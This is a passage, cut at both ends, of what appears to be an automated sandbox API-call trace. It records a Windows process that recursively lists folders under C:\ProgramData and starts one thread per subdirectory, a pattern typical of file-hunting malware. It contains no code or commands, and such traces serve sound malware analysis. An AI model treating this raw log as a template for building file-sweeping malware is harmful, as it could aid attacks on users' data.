dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0045.764] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0045.764] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409b28) returned 1 [0045.764] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a790) returned 1 Thread: id = 94 os_tid = 0xb78 [0045.765] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x36) returned 0x409b28 [0045.765] wcscpy (in: _Dest=0x409b28, _Source="C:\\ProgramData\\Documents" | out: _Dest="C:\\ProgramData\\Documents") returned="C:\\ProgramData\\Documents" [0045.765] wcscat (in: _Dest=0x409b28, _Source="\\" | out: _Dest="C:\\ProgramData\\Documents\\") returned="C:\\ProgramData\\Documents\\" [0045.765] wcscat (in: _Dest=0x409b28, _Source="*" | out: _Dest="C:\\ProgramData\\Documents\\*") returned="C:\\ProgramData\\Documents\\*" [0045.765] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x445968 [0045.765] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Documents\\*", lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0045.765] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0045.765] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409b28) returned 1 [0045.765] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409ae8) returned 1 Thread: id = 95 os_tid = 0xb7c [0045.766] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x36) returned 0x409ae8 [0045.766] wcscpy (in: _Dest=0x409ae8, _Source="C:\\ProgramData\\Favorites" | out: _Dest="C:\\ProgramData\\Favorites") returned="C:\\ProgramData\\Favorites" [0045.766] wcscat (in: _Dest=0x409ae8, _Source="\\" | out: _Dest="C:\\ProgramData\\Favorites\\") returned="C:\\ProgramData\\Favorites\\" [0045.766] wcscat (in: _Dest=0x409ae8, _Source="*" | out: _Dest="C:\\ProgramData\\Favorites\\*") returned="C:\\ProgramData\\Favorites\\*" [0045.766] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x445968 [0045.766] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Favorites\\*", lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0045.766] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0045.766] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409ae8) returned 1 [0045.766] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409b68) returned 1 Thread: id = 96 os_tid = 0xb80 [0045.771] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x36) returned 0x409b68 [0045.771] wcscpy (in: _Dest=0x409b68, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0045.771] wcscat (in: _Dest=0x409b68, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0045.771] wcscat (in: _Dest=0x409b68, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\*") returned="C:\\ProgramData\\Microsoft\\*" [0045.771] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x445968 [0045.771] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\*", lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409ae8 [0045.771] wcscmp (_String1=".", _String2=".") returned 0 [0045.771] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.771] wcscmp (_String1="..", _String2=".") returned 1 [0045.771] wcscmp (_String1="..", _String2="..") returned 0 [0045.771] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assistance", cAlternateFileName="ASSIST~1")) returned 1 [0045.771] wcscmp (_String1="Assistance", _String2=".") returned 1 [0045.772] wcscmp (_String1="Assistance", _String2="..") returned 1 [0045.772] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x48) returned 0x444be0 [0045.772] wcscpy (in: _Dest=0x444be0, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0045.772] wcscat (in: _Dest=0x444be0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0045.772] wcscat (in: _Dest=0x444be0, _Source="Assistance" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance") returned="C:\\ProgramData\\Microsoft\\Assistance" [0045.772] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444be0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2fc [0045.773] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0045.773] wcscmp (_String1="Crypto", _String2=".") returned 1 [0045.773] wcscmp (_String1="Crypto", _String2="..") returned 1 [0045.773] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x4025b8 [0045.773] wcscpy (in: _Dest=0x4025b8, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0045.773] wcscat (in: _Dest=0x4025b8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0045.773] wcscat (in: _Dest=0x4025b8, _Source="Crypto" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto" [0045.773] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4025b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x300 [0045.774] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1 [0045.774] wcscmp (_String1="Device Stage", _String2=".") returned 1 [0045.774] wcscmp (_String1="Device Stage", _String2="..") returned 1 [0045.774] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x413de0 [0045.774] wcscpy (in: _Dest=0x413de0, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0045.774] wcscat (in: _Dest=0x413de0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0045.774] wcscat (in: _Dest=0x413de0, _Source="Device Stage" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage") returned="C:\\ProgramData\\Microsoft\\Device Stage" [0045.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x413de0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x304 [0045.775] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1 [0045.775] wcscmp (_String1="DeviceSync", _String2=".") returned 1 [0045.775] wcscmp (_String1="DeviceSync", _String2="..") returned 1 [0045.775] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x48) returned 0x444c30 [0045.775] wcscpy (in: _Dest=0x444c30, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0045.775] wcscat (in: _Dest=0x444c30, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0045.775] wcscat (in: _Dest=0x444c30, _Source="DeviceSync" | out: _Dest="C:\\ProgramData\\Microsoft\\DeviceSync") returned="C:\\ProgramData\\Microsoft\\DeviceSync" [0045.775] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444c30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x308 [0045.776] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0045.776] wcscmp (_String1="DRM", _String2=".") returned 1 [0045.776] wcscmp (_String1="DRM", _String2="..") returned 1 [0045.776] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3a) returned 0x402528 [0045.776] wcscpy (in: _Dest=0x402528, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0045.776] wcscat (in: _Dest=0x402528, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0045.776] wcscat (in: _Dest=0x402528, _Source="DRM" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM") returned="C:\\ProgramData\\Microsoft\\DRM" [0045.776] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x402528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x30c [0045.777] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eHome", cAlternateFileName="")) returned 1 [0045.777] wcscmp (_String1="eHome", _String2=".") returned 1 [0045.777] wcscmp (_String1="eHome", _String2="..") returned 1 [0045.777] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3e) returned 0x4024e0 [0045.777] wcscpy (in: _Dest=0x4024e0, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0045.777] wcscat (in: _Dest=0x4024e0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0045.777] wcscat (in: _Dest=0x4024e0, _Source="eHome" | out: _Dest="C:\\ProgramData\\Microsoft\\eHome") returned="C:\\ProgramData\\Microsoft\\eHome" [0045.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4024e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x310 [0045.778] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1 [0045.778] wcscmp (_String1="Event Viewer", _String2=".") returned 1 [0045.778] wcscmp (_String1="Event Viewer", _String2="..") returned 1 [0045.778] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x413d88 [0045.778] wcscpy (in: _Dest=0x413d88, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0045.778] wcscat (in: _Dest=0x413d88, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0045.778] wcscat (in: _Dest=0x413d88, _Source="Event Viewer" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer") returned="C:\\ProgramData\\Microsoft\\Event Viewer" [0045.779] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x413d88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x314 [0045.779] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1 [0045.779] wcscmp (_String1="IdentityCRL", _String2=".") returned 1 [0045.780] wcscmp (_String1="IdentityCRL", _String2="..") returned 1 [0045.780] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4a) returned 0x413f40 [0045.780] wcscpy (in: _Dest=0x413f40, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0045.780] wcscat (in: _Dest=0x413f40, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0045.780] wcscat (in: _Dest=0x413f40, _Source="IdentityCRL" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL") returned="C:\\ProgramData\\Microsoft\\IdentityCRL" [0045.780] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x413f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x318 [0045.781] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3ee349fc, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3ee349fc, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0045.781] wcscmp (_String1="Media Player", _String2=".") returned 1 [0045.781] wcscmp (_String1="Media Player", _String2="..") returned 1 [0045.781] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x413f98 [0045.781] wcscpy (in: _Dest=0x413f98, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0045.781] wcscat (in: _Dest=0x413f98, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0045.781] wcscat (in: _Dest=0x413f98, _Source="Media Player" | out: _Dest="C:\\ProgramData\\Microsoft\\Media Player") returned="C:\\ProgramData\\Microsoft\\Media Player" [0045.781] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413f98) returned 1 [0045.781] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1 [0045.781] wcscmp (_String1="MF", _String2=".") returned 1 [0045.781] wcscmp (_String1="MF", _String2="..") returned 1 [0045.781] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x38) returned 0x409b28 [0045.781] wcscpy (in: _Dest=0x409b28, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0045.781] wcscat (in: _Dest=0x409b28, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0045.781] wcscat (in: _Dest=0x409b28, _Source="MF" | out: _Dest="C:\\ProgramData\\Microsoft\\MF") returned="C:\\ProgramData\\Microsoft\\MF" [0045.781] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x409b28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x31c [0045.782] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSDN", cAlternateFileName="")) returned 1 [0045.782] wcscmp (_String1="MSDN", _String2=".") returned 1 [0045.782] wcscmp (_String1="MSDN", _String2="..") returned 1 [0045.782] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3c) returned 0x402498 [0045.782] wcscpy (in: _Dest=0x402498, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0045.782] wcscat (in: _Dest=0x402498, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0045.782] wcscat (in: _Dest=0x402498, _Source="MSDN" | out: _Dest="C:\\ProgramData\\Microsoft\\MSDN") returned="C:\\ProgramData\\Microsoft\\MSDN" [0045.782] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x402498, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x320 [0045.783] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1 [0045.783] wcscmp (_String1="NetFramework", _String2=".") returned 1 [0045.783] wcscmp (_String1="NetFramework", _String2="..") returned 1 [0045.783] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x413f98 [0045.783] wcscpy (in: _Dest=0x413f98, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0045.783] wcscat (in: _Dest=0x413f98, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0045.783] wcscat (in: _Dest=0x413f98, _Source="NetFramework" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework") returned="C:\\ProgramData\\Microsoft\\NetFramework" [0045.784] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x413f98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x324 [0045.784] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0045.784] wcscmp (_String1="Network", _String2=".") returned 1 [0045.784] wcscmp (_String1="Network", _String2="..") returned 1 [0045.784] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x42) returned 0x444c80 [0045.784] wcscpy (in: _Dest=0x444c80, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0045.785] wcscat (in: _Dest=0x444c80, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0045.785] wcscat (in: _Dest=0x444c80, _Source="Network" | out: _Dest="C:\\ProgramData\\Microsoft\\Network") returned="C:\\ProgramData\\Microsoft\\Network" [0045.785] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444c80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x328 [0045.785] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE", cAlternateFileName="")) returned 1 [0045.786] wcscmp (_String1="OFFICE", _String2=".") returned 1 [0045.786] wcscmp (_String1="OFFICE", _String2="..") returned 1 [0045.786] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402450 [0045.786] wcscpy (in: _Dest=0x402450, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0045.786] wcscat (in: _Dest=0x402450, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0045.786] wcscat (in: _Dest=0x402450, _Source="OFFICE" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE") returned="C:\\ProgramData\\Microsoft\\OFFICE" [0045.786] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x402450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x32c [0045.787] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0xfa44d4a0, ftLastWriteTime.dwHighDateTime=0x1d305fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0045.787] wcscmp (_String1="OfficeSoftwareProtectionPlatform", _String2=".") returned 1 [0045.787] wcscmp (_String1="OfficeSoftwareProtectionPlatform", _String2="..") returned 1 [0045.787] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x3ffe98 [0045.787] wcscpy (in: _Dest=0x3ffe98, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0045.787] wcscat (in: _Dest=0x3ffe98, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0045.787] wcscat (in: _Dest=0x3ffe98, _Source="OfficeSoftwareProtectionPlatform" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform" [0045.787] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, 